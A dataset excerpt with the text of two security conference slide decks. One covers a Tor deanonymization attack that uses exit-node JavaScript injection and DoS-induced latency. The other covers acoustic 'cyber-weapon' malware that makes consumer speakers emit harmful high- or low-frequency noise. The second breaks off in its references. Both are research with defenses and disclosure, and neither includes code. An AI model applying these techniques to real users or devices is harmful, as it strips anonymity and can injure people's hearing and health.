text
stringlengths
100
9.93M
category
stringclasses
11 values
Deanonymizing Tor Nathan S. Evans Christian Grothoff [email protected] [email protected] Colorado Research Institute for Security and Privacy University of Denver 1 Motivation • Tor is probably the most popular and widely used free software P2P network used to achieve anonymity on the Internet: – Tor has a strong, large user base – The project is well supported – Generally assumed to give users strong anonymity The news today: All the Tor nodes involved in a circuit can be discoverd, reducing Tor users level of anonymity 2 Tor General Information • Tor stands for “The onion router” – Encrypts data multiple times and is decrypted as it travels through the network a layer at a time: like peeling an onion • Tor is a low latency P2P mix cascade • Routes data through network along a “circuit” • Data is encrypted as it passes through nodes (until the last hop) 3 Routing • Data is forwarded through the network • Each node knows only the previous hop and the next hop • Only the originator knows all the hops • Number of hops is hard coded (currently set to three) Key security goal: No node in the path can discover the full path 4 Routing Example Client Server Tor Node 1 Tor Node 2 Tor Node 3 Tor Node 4 Tor Node 5 Tor Node 6 Tor Node 7 Tor Node 8 Tor Node 9 Figure 1: Example showing how a normal path is chosen in the Tor network 5 Previous work • Murdoch and Danezis wrote “Low Cost Traffic Analysis of Tor” • Goal is to discover all the Tor routers involved in a given circuit • Based on being able to tell the added load of one normal Tor connection • Send a certain sequence down a tunnel, monitor each Tor router to see if it is involved • Their attack worked well with the 2005 Tor network consisting of approximately a dozen Tor routers 6 Problems With Previous Work • Less feasible with 1000+ routers • Must identify all the separate routers in the circuit • Attempting to measure small effects, large fluctuations that occur in actual current network give false positives • We replicated their experiments, found method to be much less effective on today’s network 7 Our Basis for Deanonymization • Three design issues enable users to be deanonymized 1. No artificial delays induced on connections 2. Path length is set at a small finite number 3. Paths of arbitrary length through the network can be constructed • Target user is running Tor with privoxy with all the default settings 8 Regular Path Example Client Server Tor Node 1 Tor Node 2 Tor Node 3 Figure 2: Example showing a typical Tor circuit 9 Circular Path Example 1/5 Client Server Tor Node 1 Tor Node 2 Tor Node 3 Figure 3: Example showing how long circular routes are created 10 Circular Path Example 2/5 Client Server Tor Node 1 Tor Node 2 Tor Node 3 Figure 4: Example showing how long circular routes are created 11 Circular Path Example 3/5 Client Server Tor Node 1 Tor Node 2 Tor Node 3 Figure 5: Example showing how long circular routes are created 12 Circular Path Example 4/5 Client Server Tor Node 1 Tor Node 2 Tor Node 3 Figure 6: Example showing how long circular routes are created 13 Circular Path Example 5/5 Client Server Tor Node 1 Tor Node 2 Tor Node 3 Figure 7: Example showing how long circular routes are created 14 Attack Example Client Tor Node 3 - Our Exit Node Server Tor Node 1 - Unknown Node DoS Client Tor Node 2 - Known High BW Tor Node 1 High BW Tor Node 2 DoS Server Figure 8: Example showing a partial view of the Tor network during the attack 15 Attack Implementation • Modified exit node • Modified DoS node • Lightweight DoS web server running on GNU libmicrohttpd • Client side JavaScript for latency measurements • Instrumentation client to receive data 16 Attack Implementation • Exit node injects JavaScript “ping” code into HTML response • Client browses as usual, while JavaScript continues to “phone home” • Exit node measures variance in latency • While continuing to measure, DoS attack strains possible first hop(s) • If no significant variance observed, pick another node from candidates and start over • Once sufficient change is observed in measurements, initial node has been found 17 Gathered Data Example (1/10) 0 20000 40000 60000 80000 100000 120000 0 100 200 300 400 500 600 Latency variance (in milliseconds) Sample number Latency measurements graph Trial without stress Trial with stress Figure 9: Attack effects on an unused Tor node. Red line is unstressed test, green is stressed test. X axis is measurement number, Y is “latency” 18 Gathered Data Example (2/10) 0 5000 10000 15000 20000 25000 30000 35000 40000 0 100 200 300 400 500 600 Latency variance (in milliseconds) Sample number Latency measurements graph Control Run Attack Run Figure 10: Attack effects on a Tor node. Red line is unstressed test, green is stressed test 19 Gathered Data Example (3/10) 0 1000 2000 3000 4000 5000 6000 0 100 200 300 400 500 600 Latency variance (in milliseconds) Sample number Latency measurements graph Control Run Attack Run Figure 11: Attack effects on a Tor node. Red line is unstressed test, green is stressed test 20 Gathered Data Example (4/10) 0 500 1000 1500 2000 2500 3000 3500 4000 4500 5000 0 100 200 300 400 500 600 Latency variance (in milliseconds) Sample number Latency measurements graph Control Run Attack Run Figure 12: Attack effects on a Tor node. Red line is unstressed test, green is stressed test 21 Gathered Data Example (5/10) 0 10000 20000 30000 40000 50000 60000 70000 80000 90000 0 100 200 300 400 500 600 Latency variance (in milliseconds) Sample number Latency measurements graph Trial without stress Trial with stress Figure 13: Attack effects on a Tor node. Red line is unstressed test, green is stressed test 22 Gathered Data Example (6/10) Figure 14: Histogram plot of latency times, red is unstressed trial, green is stressed. Each histogram is from the same trials as the previous set of graphs 23 Gathered Data Example (7/10) Figure 15: Histogram plot of latency times (same trials as previous graphs) 24 Gathered Data Example (8/10) Figure 16: Histogram plot of latency times (same trials as previous graphs) 25 Gathered Data Example (9/10) Figure 17: Histogram plot of latency times (same trials as previous graphs) 26 Gathered Data Example (10/10) Figure 18: Histogram plot of latency times (same trials as previous graphs) 27 What We Actually Achieve • We do identify the entire path through the Tor network (same result as Murdoch and Danezis) • We do achieve this on the modern, current Tor network • This means that if someone were performing this attack from an exit node, Tor becomes as effective as a one-hop proxy 28 Why Our Attack is Effective • Since we run the exit router, only a single node needs to be found • Our multiplication of bandwidth technique allows low bandwidth connections to DoS high bandwidth connections (solves common DoS limitation) 29 Fixes • Don’t use a fixed path length (or at least make it longer) • Don’t allow infinite path lengths • Induce delays into connections (probably not going to happen) • Monitor exit nodes for strange behavior (been done somewhat) • Disable JavaScript in clients • Use end-to-end encryption 30 Attack Improvements/Variants • Use meta refresh tags for measurements instead of JavaScript • Parallelize testing (rule out multiple possible first nodes at once) • Improved latency measures for first hop to further narrow possible first hops 31 Conclusion • Current Tor implementation allows arbitrary length paths • Current Tor implementation uses minimally short paths • Arbitrary path lengths allow DoS • DoS allows detection of significant changes in latency • Significant changes in latency reveal paths used 32 Questions? 33
pdf
Sound Effects Exploring acoustic cyber-weapons Matt Wixey August 2019 All references cited are at the end of the slide deck, available on the DEF CON media server! PwC • Research Lead for the PwC UK Cyber Security practice • PhD student at UCL • Previously worked in LEA doing technical R&D • Black Hat USA, DEF CON, ISF Congress, BruCon, 44Con, BSides, etc Matt Wixey 2 August 2019 Sound Effects: Exploring acoustic cyber-weapons PwC • Undertaken as part of my PhD research at UCL • Supervisors & co-authors: – Prof. Shane Johnson (https://www.ucl.ac.uk/jill-dando-institute/about- us/people/academic-staff/shane-johnson) – Assoc. Prof. Emiliano De Cristofaro (https://emilianodc.com/) • The following is presented for educational purposes only Disclaimer 3 August 2019 Sound Effects: Exploring acoustic cyber-weapons PwC • DEF CON 25: “See no evil, hear no evil” – https://www.youtube.com/watch?v=gFTiD7EnVjU • Interested in unconventional uses of sound, applied to security Why this talk? 4 August 2019 Sound Effects: Exploring acoustic cyber-weapons PwC • Novel class of attack • Empirical experimentation • Increasing attack surface • Building on previous work on: – Malware and physical harm – Acoustic harm – Digital/physical crossover attacks Why should you care? 5 August 2019 Sound Effects: Exploring acoustic cyber-weapons PwC Background Sound Effects: Exploring acoustic cyber-weapons August 2019 6 PwC • Digital/physical malware: Stuxnet, Mirai, Mirksy et al, 2019 • Malware inadvertently affecting physical kit: Conficker, Wannacry • Medical implant vulnerabilities – Halperin et al, 2008; Rushanan et al, 2014; Williams & Woodward, 2015; Rios & Butts 2019 • Vehicle vulnerabilities (Othmane et al, 2013; Valasek & Miller 2015) Malware and physical harm – some examples 7 August 2019 Sound Effects: Exploring acoustic cyber-weapons Background PwC • Typically, there’s an indirect relationship • What about malware that directly affects humans? – Poulsen, 2008; Oluwafemi et al, 2013; Ronen & Shamir, 2016; Rios & Butts, 2017 Malware and harm - effects 8 August 2019 Sound Effects: Exploring acoustic cyber-weapons Attacker Machine Effect Harm Attacker Machine Effect Harm Background PwC Sound as a weapon 9 August 2019 Sound Effects: Exploring acoustic cyber-weapons http://dangerousdecibels.org/education/information-center/decibel-exposure-time-guidelines/ Background PwC 10 August 2019 Sound Effects: Exploring acoustic cyber-weapons https://survivallife.com/sound-as-a-weapon-pt-2/ Floor fan Lawn mower Chainsaw Jet taking off Windows XP start-up sound Background PwC Acoustics and harm Sound Effects: Exploring acoustic cyber-weapons August 2019 11 PwC • Ultrasound & infrasound: above/below human hearing threshold • Traditionally 20Hz – 20kHz (Durrant & Lovrinic, 1995) – This is a misconception: thresholds vary widely – This talk: • High-frequency noise (HFN): 17 - 21kHz • Low-frequency noise (LFN): 60 - 100Hz What can we hear? 12 August 2019 Sound Effects: Exploring acoustic cyber-weapons Acoustics and harm PwC • Basing a definition on a lack of a property is problematic – Duck & Leighton, 2018 • Perceptibility not a case of arbitrary cut-off points • Mechanisms not fully understood (Koch, 2017) • Significant variation in thresholds – Leighton, 2018; Leventhall et al, 2003; van Wieringen & Glorieux, 2018 Imperceptibility 13 August 2019 Sound Effects: Exploring acoustic cyber-weapons Acoustics and harm PwC • Depends on volume, background noise, previous exposure, etc • Sound may be perceived as vibration (Leventhall et al, 2003) – Or audible ‘subharmonics’ (Ashihara et al, 2006; Howard et al, 2005) • Likelihood declines non-linearly (Muhlhans, 2017) • For HFN, threshold increases with age – Macca et al, 2015; van Wierengen & Glorieux, 2018 Imperceptibility 14 August 2019 Sound Effects: Exploring acoustic cyber-weapons Acoustics and harm PwC • Susceptibility differs (Leighton, 2016; Qibai & Shi, 2004) • No reports of high frequencies causing hearing loss, but: – Adverse effects on hearing (Duck & Leighton, 2018) – Temporary threshold shifts (Acton and Carson, 1967) – Reduction in hearing sensitivity in audible range (Chopra et al, 2016; Grzesik & Pluta, 1986; Macca et al, 2015; Wilson et al, 2002) – Neurasthenia, cardiac neurosis, hypotension, bradycardia, functional changes in CV and CNS (Smagowska & Pawlaczyk-Łuszczy´nska, 2013) Adverse physiological effects - HFN 15 August 2019 Sound Effects: Exploring acoustic cyber-weapons Acoustics and harm PwC • Nausea, fatigue, headaches – Duck & Leighton, 2018; Howard et al, 2005; Von Gierke & Nixon, 1992 • Tinnitus and ear pain (Chopra et al, 2016; Fletcher et al, 2018a) • Irritation (Ueda et al, 2014) • Somnolence, dizziness, palpitations, decreased concentration (Smagowska & Pawlaczyk-Łuszczy´nska, 2013) Adverse psychological effects - HFN 16 August 2019 Sound Effects: Exploring acoustic cyber-weapons Acoustics and harm PwC • Temporary threshold shifts (Leventhall et al, 2003) • Some correlation with: – Heart ailments, chronic insomnia (Mirowska & Mroz, 2000) – Elevated cortisol levels (Bengtsson, 2003) Adverse physiological effects - LFN 17 August 2019 Sound Effects: Exploring acoustic cyber-weapons Acoustics and harm PwC • Annoyance (Pawlaczyk-łuszczy´nska et al, 2005; Persson & Rylander, 1988; Storm, 2009) most common, but also: – Headaches and palpitations (Møller & Lydolf, 2002) – Deterioration in performance & productivity (Bengtsson, 2003; Benignus et al, 1975; Kaczmarska & Łuczak, 2007) – Lower levels of cooperation & agreeableness (Waye et al, 1997) – Depressive symptoms & distress (Stansfeld & Shipley, 2015) – Even at very moderate levels: • 40-45dBA (Bengtsson, 2003; Persson & Bjorkman, 1988; Waye et al, 1997) Adverse psychological effects - LFN 18 August 2019 Sound Effects: Exploring acoustic cyber-weapons Acoustics and harm PwC • Data often sparse and anecdotal (Leighton, 2018) • Easily misinterpreted (Duck & Leighton, 2018) • Detailed knowledge of “noise dose” not always present – Andringa & Lanser, 2013; Donder et al, 2018 • Many effects not reproducible in labs (Fletcher et al, 2018b) – Ethical restrictions (Fletcher et al 2018a, 2018b; Leighton, 2018) – Possible “nocebo” effect • But significant base for adverse effects in subset of population Caveats 19 August 2019 Sound Effects: Exploring acoustic cyber-weapons Acoustics and harm PwC • Significant differences in methodology and implementation • Mostly in occupational context • Often based on small samples • Samples often made up of mostly adult males (Leighton, 2018) Exposure guidelines - HFN 20 August 2019 Sound Effects: Exploring acoustic cyber-weapons Acoustics and harm PwC 21 August 2019 Sound Effects: Exploring acoustic cyber-weapons Acoustics and harm PwC Weighting 22 August 2019 Sound Effects: Exploring acoustic cyber-weapons https://www.cirrusresearch.co.uk/blog/2011/08/what-are-a-c-z-frequency-weightings/ Acoustics and harm PwC • Consensus that A-weighting is inappropriate • Underestimates higher frequencies (Lawton, 2001; Leighton, 2018) • SPL re 20 μPa is commonly used • As is Z-weighting (flat frequency response from 10Hz – 20kHz, no attenuation for sounds above/below ‘audible range’) Exposure guidelines - HFN 23 August 2019 Sound Effects: Exploring acoustic cyber-weapons Acoustics and harm PwC • Fewer guidelines exist • Perhaps because primary effects are subjective, at moderate levels? • Again, methodology differs significantly Exposure guidelines - LFN 24 August 2019 Sound Effects: Exploring acoustic cyber-weapons Acoustics and harm PwC • Reference curve proposed by Defra (Moorhouse et al, 2011) • Devised after assessment of previously published curves • G-weighting (ISO 7196:1995) commonly used for 1Hz - 20Hz – But not LFN (Koch, 2017) Exposure guidelines - LFN 25 August 2019 Sound Effects: Exploring acoustic cyber-weapons Acoustics and harm PwC Exposure guidelines - LFN 26 August 2019 Sound Effects: Exploring acoustic cyber-weapons Acoustics and harm PwC Previous work Sound Effects: Exploring acoustic cyber-weapons August 2019 27 PwC • Covert communications channels (HFN) – Mobile devices (Deshotels, 2014) – Covert mesh networks (Hanspach & Goetz, 2014) – Dreadphone/Spectregram (Wixey, 2017) – Many consumer devices capable of emitting HFN (Filonenko et al, 2010) Sound in security research 28 August 2019 Sound Effects: Exploring acoustic cyber-weapons Previous work PwC • Disruption of echolocation systems for obstacle avoidance – Ultrasonic altimeters on drones (Wixey, 2017) – Tesla vehicles (Yan et al, 2016) • Corruption of data written to hard disk drives – Blue Note (Bolton et al, 2018) • Ultrasonic tracking beacons for targeted marketing – Filonenko et al, 2010; Cunche & Cardoso, 2018 Sound in security research 29 August 2019 Sound Effects: Exploring acoustic cyber-weapons Previous work PwC • Brown Note • Paranormal experiences (Tandy, 2000; Parsons et al, 2008) • US Embassy in Cuba (Leighton, 2018) Acoustic weapons – FAQs 30 August 2019 Sound Effects: Exploring acoustic cyber-weapons Previous work PwC • Many misunderstandings (Muhlhans, 2017; Vinokur, 2004) • Significant practical issues (Altmann, 2001) – Threshold shifts probably not of interest to attackers – Challenging to cause targeted, directional effects – LFN: high propagation, low directionality, size restrictions – HFN: low propagation, size restrictions • Need close proximity, rapid diffusion (Bartholomew & Perez, 2018) Acoustic weapons 31 August 2019 Sound Effects: Exploring acoustic cyber-weapons Previous work PwC Our experiment Sound Effects: Exploring acoustic cyber-weapons August 2019 32 PwC • HFN and LFN may be imperceptible to subset of population • And, above certain levels, may cause adverse effects • Some consumer equipment can emit HFN and LFN • Could an attacker develop malware or attacks to: – Cause a device to emit HFN or LFN… – … at levels at or exceeding those in maximum permissible guidelines… – … and therefore cause adverse effects? Hypothesis 33 August 2019 Sound Effects: Exploring acoustic cyber-weapons Our experiment PwC • Develop attacks and malware • Which can control volume and speaker output in consumer devices • Play/stream tones at a set of high and low frequencies • Measure output with a sound level meter • Compare output to maximum permissible levels Experiment outline 34 August 2019 Sound Effects: Exploring acoustic cyber-weapons Our experiment PwC • No human subjects involved in experiment • Ethics exemption granted by UCL Ethics Committee • Full risk assessment conducted prior to experimentation • Relevant safety precautions (ear defenders, anechoic chamber) • Brands/models/code not released, to minimise risk Ethics 35 August 2019 Sound Effects: Exploring acoustic cyber-weapons Our experiment PwC • Attacker seeking to affect performance of employees/staff • Attacker seeking to affect performance of organisation (at scale) • Targeted harassment campaigns • Low-grade cyber-weapons Attack scenarios 36 August 2019 Sound Effects: Exploring acoustic cyber-weapons Our experiment PwC Attack scenarios 37 August 2019 Sound Effects: Exploring acoustic cyber-weapons Our experiment PwC Test environment 38 August 2019 Sound Effects: Exploring acoustic cyber-weapons Our experiment PwC • Tones embedded • Local mode (plays on lock) • Remote mode (C2 channel) • Volume increased to 100% • Lowered to original level afterwards Windows PoC malware 39 August 2019 Sound Effects: Exploring acoustic cyber-weapons Our experiment PwC • Local mode (plays on lock) • Remote mode (C2 channel) • Volume increased to 100% for attack • Lowered to original level afterwards PoC Android malware 40 August 2019 Sound Effects: Exploring acoustic cyber-weapons Our experiment PwC • Known vulnerability to control audio • Attacker on local network, or do DNS rebinding attack • Python script to scan for speakers • If inactive, stream tone from attacker’s web server at 100% volume • Then restore volume to original state Smart speaker 41 August 2019 Sound Effects: Exploring acoustic cyber-weapons Our experiment PwC • Over-ear design • Connected to laptop over Bluetooth • Placed closer to SLM (1cm) Headphones 42 August 2019 Sound Effects: Exploring acoustic cyber-weapons Our experiment PwC • Vibration speakers – No diaphragm cone – Uses a coil on a movable plate which pushes against surface – Smaller profile, possibly attractive as localised acoustic weapons • Paired over Bluetooth (same as Bluetooth speaker) Vibration & Bluetooth speakers 43 August 2019 Sound Effects: Exploring acoustic cyber-weapons Our experiment PwC • Ultrasonic carrier waves • High-intensity directional audio (Pompei, 2002) • No smart capabilities • Connected to laptop • Low profile and cost, and directional properties • Could be attractive as portable acoustic weapon Parametric speakers 44 August 2019 Sound Effects: Exploring acoustic cyber-weapons Our experiment PwC • No network interfaces • Autoplays audio from an inserted storage device (USB/SD) Vehicle-mounted PA system 45 August 2019 Sound Effects: Exploring acoustic cyber-weapons Our experiment PwC • HTML5 audio tag • Autoplay on visit to site • Now disabled in some browsers • Depends on currently set system volume (can’t change client-side) Additional attacks – HTML5 46 August 2019 Sound Effects: Exploring acoustic cyber-weapons Our experiment PwC Additional attacks – manipulation of audio 47 August 2019 Sound Effects: Exploring acoustic cyber-weapons Our experiment PwC Additional attacks - manipulation of audio 48 August 2019 Sound Effects: Exploring acoustic cyber-weapons Our experiment PwC • Class I sound level meters • “Precision grade”: narrower tolerances, wider frequency range • Spot-calibrated • Very expensive • But you can hire them and send them back via courier – That awesome time I almost lost ~£20,000 Measurement 49 August 2019 Sound Effects: Exploring acoustic cyber-weapons Our experiment PwC • Each device placed in anechoic chamber with Class I SLM • Via attacks, played a sine wave tone at 44.1kHz sample rate • Single frequency (checked with spectrograms) • Each tone on each device played for 10 minutes • Surface temperature also measured before/after attack Measurement 50 August 2019 Sound Effects: Exploring acoustic cyber-weapons Our experiment PwC • Z-weighting used for 17kHz and 19kHz • Proprietary high-pass filter weighting used for 21kHz • Z-weighting used for LFN Measurement 51 August 2019 Sound Effects: Exploring acoustic cyber-weapons Our experiment PwC Results - HFN 52 August 2019 Sound Effects: Exploring acoustic cyber-weapons Our experiment PwC Results - LFN 53 August 2019 Sound Effects: Exploring acoustic cyber-weapons Our experiment PwC • Vibration speaker vibrated so much that it continuously fell over • Burning smell from smart speaker – Further testing showed it was permanently damaged... Other results of interest 54 August 2019 Sound Effects: Exploring acoustic cyber-weapons Our experiment PwC 55 August 2019 Sound Effects: Exploring acoustic cyber-weapons PwC Smart speaker damage 56 August 2019 Sound Effects: Exploring acoustic cyber-weapons Our experiment PwC • Reported to manufacturers, who were responsive and cooperative • Informed updates had been rolled out to address the issue Disclosure 57 August 2019 Sound Effects: Exploring acoustic cyber-weapons Our experiment PwC Audible components - headphones 58 August 2019 Sound Effects: Exploring acoustic cyber-weapons Our experiment PwC Audible components – parametric speaker 59 August 2019 Sound Effects: Exploring acoustic cyber-weapons Our experiment PwC • Headphones are a significant concern: – Increasingly used (Henderson et al, 2011) – At high volumes, by young people (Herrera et al, 2016; Vogel et al, 2007) • Also device-agnostic to some extent • Variations of laptop/phone malware could be adapted – Only trigger sound when headphones are connected • Audio manipulation attack could also succeed with headphones Implications - headphones 60 August 2019 Sound Effects: Exploring acoustic cyber-weapons Our experiment PwC • May be attractive as a portable, low-cost acoustic weapon • Use in public may constitute significant health risk Implications – parametric speaker 61 August 2019 Sound Effects: Exploring acoustic cyber-weapons Our experiment PwC • Could be used to produce LFN consistent with annoyance • Smart speaker could be permanently damaged • ‘Burning-out’ of components could be a fire hazard • Other models may be vulnerable Implications – Bluetooth and smart speakers 62 August 2019 Sound Effects: Exploring acoustic cyber-weapons Our experiment PwC • Attacks viable on some devices – Any attack/malware capable of arbitrary code execution could deploy this • Reliant on imperceptibility, susceptibility, exposure duration • And on no audible components (subharmonics, distortion, etc) – Could be attenuated with multiple fade ins/fade outs Feasibility 63 August 2019 Sound Effects: Exploring acoustic cyber-weapons Our experiment PwC • Some attacks require physical/local access, Bluetooth attacks, etc • Attackers may be more interested in other avenues – Espionage, sabotage, financial, etc Feasibility 64 August 2019 Sound Effects: Exploring acoustic cyber-weapons Our experiment PwC Countermeasures Sound Effects: Exploring acoustic cyber-weapons August 2019 65 PwC • Deshotels, 2014 – Limit frequency range of speakers – Visibly alerting users when speakers are in use – Filtering files during processing to remove high/low frequency noise – Mobiles: permission restrictions on use of speakers by apps • Heuristic detection – Rarely, if ever, should an application need access to volume levels – Maybe muting apps – Some legitimate uses for ultrasound (Google Nearby Messages, comms) Device-level 66 August 2019 Sound Effects: Exploring acoustic cyber-weapons PwC • Monitoring environment for HFN/LFN – SLMs (most consumer models won’t go that high/low) – Requires specialist equipment – Android: Ultrasound Detector and Infrasound Detector – We used both for our pilot study (Kardous & Shaw, 2014) – Modern smartphones may be suitable for occupational noise measurement – Within limitations of a given device – And accepting a certain loss of accuracy Environment-level 67 August 2019 Sound Effects: Exploring acoustic cyber-weapons Countermeasures PwC • SoundAlert for HFN detection – PoC only! • Modified open source application (link below) • Simple alerts when noise over a threshold is detected Do not use to evaluate if there is risk of damage or adverse effects, or for safety/compliance assessments (employ a trained professional with appropriate equipment) Environment-level 68 August 2019 Sound Effects: Exploring acoustic cyber-weapons https://www.codeproject.com/Articles/22951/Sound-Activated-Recorder-with-Spectrogram-in-C Countermeasures PwC • github.com/catz3/SoundAlert-example Environment-level 69 August 2019 Sound Effects: Exploring acoustic cyber-weapons https://www.codeproject.com/Articles/22951/Sound-Activated-Recorder-with-Spectrogram-in-C Countermeasures PwC • Review guidelines: – Often inadequate due to methodology – Or underestimation of effects – Or lack of clarity on implementation outside of occupational contexts • Employers must comply with applicable legislation • Should conduct regular checks Policy-level 70 August 2019 Sound Effects: Exploring acoustic cyber-weapons Countermeasures PwC Conclusion Sound Effects: Exploring acoustic cyber-weapons August 2019 71 PwC • Small scale • Limited number of devices • Short exposure times • Constant emission of HFN/LFN may degrade audio equipment • No human experimentation on perceptibility/susceptibility – Frequent limitation of research in this area – Ethical and safety concerns have to come first Limitations 72 August 2019 Sound Effects: Exploring acoustic cyber-weapons Conclusion PwC • In general, more research needed on the risk of HFN and LFN • Wider range of equipment, larger-scale, longer durations • Test overheating effects on other devices – Take appropriate safety precautions! • More work on countermeasures, especially detection • Ethical restrictions make extrapolation challenging • Get in touch to discuss more! Future work 73 August 2019 Sound Effects: Exploring acoustic cyber-weapons Conclusion PwC • As digital and physical worlds become more integrated: – Attackers may become increasingly interested in leveraging vulns against humans – Attack surface likely to grow – Attacks are (at the moment) often trivial – And may become possible/more effective at scale – Lack of consensus for adequate safety guidelines is a challenge • However: – Countermeasures are available – Real-world consequences are difficult to assess Summary 74 August 2019 Sound Effects: Exploring acoustic cyber-weapons Conclusion PwC www.pwc.co.uk © 2019 PricewaterhouseCoopers LLP. All rights reserved. In this document, "PwC" refers to the UK member firm, and may sometimes refer to the PwC network. Each member firm is a separate legal entity. Please see www.pwc.com/structure for further details. Design: UK 880557 Thank you! Q&A: In corridor @darkartlab [email protected] PwC References 76 August 2019 Sound Effects: Exploring acoustic cyber-weapons W. Acton and M. Carson. Auditory and subjective effects of airborne noise from industrial ultrasonic sources. Occupational and Environmental Medicine, 24(4), 1967. J. Altmann. Acoustic weapons-a prospective assessment. Science & Global Security, 9(3), 2001. T. C. Andringa and J. J. L. Lanser. How pleasant sounds promote and annoying sounds impede health: A cognitive approach. International journal of environmental research and public health, 10(4), 2013. K. Ashihara, K. Kurakata, T. Mizunami, and K. Matsushita. Hearing threshold for pure tones above 20 kHz. Acoustical science and technology, 27(1), 2006. R. E. Bartholomew and D. F. Z. Perez. Chasing ghosts in Cuba: Is mass psychogenic illness masquerading as an acoustical attack? International Journal of Social Psychiatry, 64(5), 2018 J. Bengtsson. Low Frequency Noise During Work: Effects on Performance and Annoyance. PhD thesis, Gotenburg University, 2003. V. A. Benignus, D. A. Otto, and J. H. Knelson. Effect of low-frequency random noises on performance of a numeric monitoring task. Perceptual and motor skills, 40(1), 1975. C. Bolton, S. Rampazzi, C. Li, A. Kwong, W. Xu, and K. Fu. Blue Note: How Intentional Acoustic Interference Damages Availability and Integrity in Hard Disk Drives and Operating Systems. In IEEE Symposium on Security & Privacy, 2018. R. G. Brody, H. U. Chang, and E. S. Schoenberg. Malware at its worst: death and destruction. International Journal of Accounting & Information Management, 26(4), 2018. A. Chopra, B. S. Thomas, K. Mohan, and K. Sivaraman. Auditory and Nonauditory Effects of Ultrasonic Scaler Use and Its Role in the Development of Permanent Hearing Loss. Oral Health & Preventive Dentistry, 14(6), 2016. M. Cunche and L. S. Cardoso. Analyzing Ultrasound-based Physical Tracking Systems. In GreHack, 2018. PwC 77 August 2019 Sound Effects: Exploring acoustic cyber-weapons L. Deshotels. Inaudible Sound as a Covert Channel in Mobile Devices. In WOOT, 2014. C. N. Dolder, M. D. Fletcher, S. Lloyd Jones, B. Lineton, S. R. Dennison, M. Symmonds, P. R. White, and T. G. Leighton. Measurements of ultrasonic deterrents and an acoustically branded hairdryer: Ambiguities in guideline compliance. Journal of the Acoustical Society of America, 144(4), 2018. F. Duck and T. G. Leighton. Frequency bands for ultrasound, suitable for the consideration of its health effects. Journal of the Acoustical Society of America, 144(4), 2018. J. D. Durrant and J. H. Lovrinic. Bases of hearing science. Lippincott Williams and Wilkins, 1995. V. Filonenko, C. Cullen, and J. Carswell. Investigating Ultrasonic Positioning on Mobile Phones. In International Conference on Indoor Positioning and Indoor Navigation, 2010. M. D. Fletcher, S. Lloyd Jones, P. R. White, C. N. Dolder, T. G. Leighton, and B. Lineton. Effects of very high-frequency sound and ultrasound on humans. Part I: Adverse symptoms after exposure to audible very-high frequency sound. Journal of the Acoustical Society of America, 144(4), 2018. J. Grzesik and E. Pluta. Dynamics of high-frequency hearing loss of operators of industrial ultrasonic devices. International archives of occupational and environmental health, 57(2), 1986. D. Halperin, T. S. Heydt-Benjamin, B. Ransford, S. S. Clark, B. Defend, W. Morgan, K. Fu, T. Kohno, and W. H. Maisel. Pacemakers and implantable cardiac defibrillators: Software radio attacks and zero-power defenses. In IEEE Symposium on Security & Privacy, 2008. M. Hanspach and M. Goetz. On covert acoustical mesh networks in air. arXiv preprint 1406.1213, 2014. E. Henderson, M. A. Testa, and C. Hartnick. Prevalence of noise-induced hearing-threshold shifts and hearing loss among US youths. Pediatrics, 127(1), 2011. S. Herrera, A. B. M. de Lacerda, D. Lurdes, P. A. Alcaras, L. H. Ribeiro, et al. Amplified music with headphones and its implications on hearing health in teens. International Tinnitus Journal, 20(1), 2016. PwC 78 August 2019 Sound Effects: Exploring acoustic cyber-weapons C. Q. Howard, C. H. Hansen, and A. C. Zander. A review of current ultrasound exposure limits. Journal of Occupational Health and Safety of Australia and New Zealand, 21(3), 2005. A. Kaczmarska and A. Łuczak. A study of annoyance caused by low-frequency noise during mental work. International Journal of Occupational Safety and Ergonomics, 13(2), 2007. C. A. Kardous and P. B. Shaw. Evaluation of smartphone sound measurement applications. Journal of the Acoustical Society of America, 135(4), 2014. C. Koch. Hearing beyond the limit: Measurement, perception and impact of infrasound and ultrasonic noise. In 12th ICBEN Congress on Noise as a Public Health Problem, 2017. B. W. Lawton. Damage to human hearing by airborne sound of very high frequency or ultrasonic frequency. http://www.hse.gov.uk/research/crr pdf/2001/crr01343.pdf, 2001. T. G. Leighton. Are some people suffering as a result of increasing mass exposure of the public to ultrasound in air? Proceedings of the Royal Society A: Mathematical, Physical and Engineering Sciences, 472(2185), 2016. T. G. Leighton. Ultrasound in air: Guidelines, applications, public exposures, and claims of attacks in Cuba and China. Journal of the Acoustical Society of America, 144(4), 2018. G. Leventhall, P. Pelmear, and S. Benton. A review of published research on low frequency noise and its effects. https://westminsterresearch.westminster.ac.uk/item/935y3/a-review-of-published-research-on-low-frequency-noise-and-its-effects, 2003. I. Macca, M. L. Scapellato, M. Carrieri, S. Maso, A. Trevisan, and G. B. Bartolucci. High-frequency hearing thresholds: effects of age, occupational ultrasound and noise exposure. International Archives of Occupational and Environmental Health, 88(2), 2015. M. Mirowska and E. Mroz. Effect of low frequency noise at low levels on human health in light of questionnaire investigation. In InterNoise 2000, 2000. Y. Mirksy, T. Mahler, I. Shelef, Y. Elovici. CT-GAN: Malicious Tampering of 3D Medical Imagery using Deep Learning. 2019. https://arxiv.org/abs/1901.03597 H. Møller and M. Lydolf. A questionnaire survey of complaints of infrasound and low-frequency noise. Journal of Low Frequency Noise, Vibration and Active Control, 21(2), 2002. PwC 79 August 2019 Sound Effects: Exploring acoustic cyber-weapons A. Moorhouse, D. Waddington, M. Adams, et al. Proposed criteria for the assessment of low frequency noise disturbance (Revision 1). http://usir.salford.ac.uk/491/1/NANR45-criteria_rev1 23 12 2011 (2).pdf, 2011. J. H. Muhlhans. Low frequency and infrasound: A critical review of the myths, misbeliefs and their relevance to music perception research. Musicae Scientiae, 21(3), 2017. T. Oluwafemi, T. Kohno, S. Gupta, and S. Patel. Experimental Security Analyses of Non-Networked Compact Fluorescent Lamps: A Case Study of Home Automation Security. In LASER, 2013. L. Ben Othmane, A. Al-Fuqaha, E. ben Hamida, and M. Van Den Brand. Towards extended safety in connected vehicles. In 16th International IEEE Conference on Intelligent Transportation Systems, 2013. S.T. Parsons, A.R. Winsper, and C.J. O’Keeffe. Was There Something In The Cellar?. In The Parapsychological Association, Inc. 51st Annual Convention & The Incorporated Society for Psychical Research 32nd Annual Convention (p. 384), 2008. M. Pawlaczyk-łuszczy´nska, A. Dudarewicz, M. Waszkowska, W. Szymczak, M. Kameduła, and M. ´ Sliwi´nska-Kowalska. Does low frequency noise at moderate levels influence human mental performance? Journal of Low Frequency Noise, Vibration, and Active Control, 24(1), 2005. K. Persson and M. Bjorkman. Annoyance due to low frequency noise and the use of the dB (A) 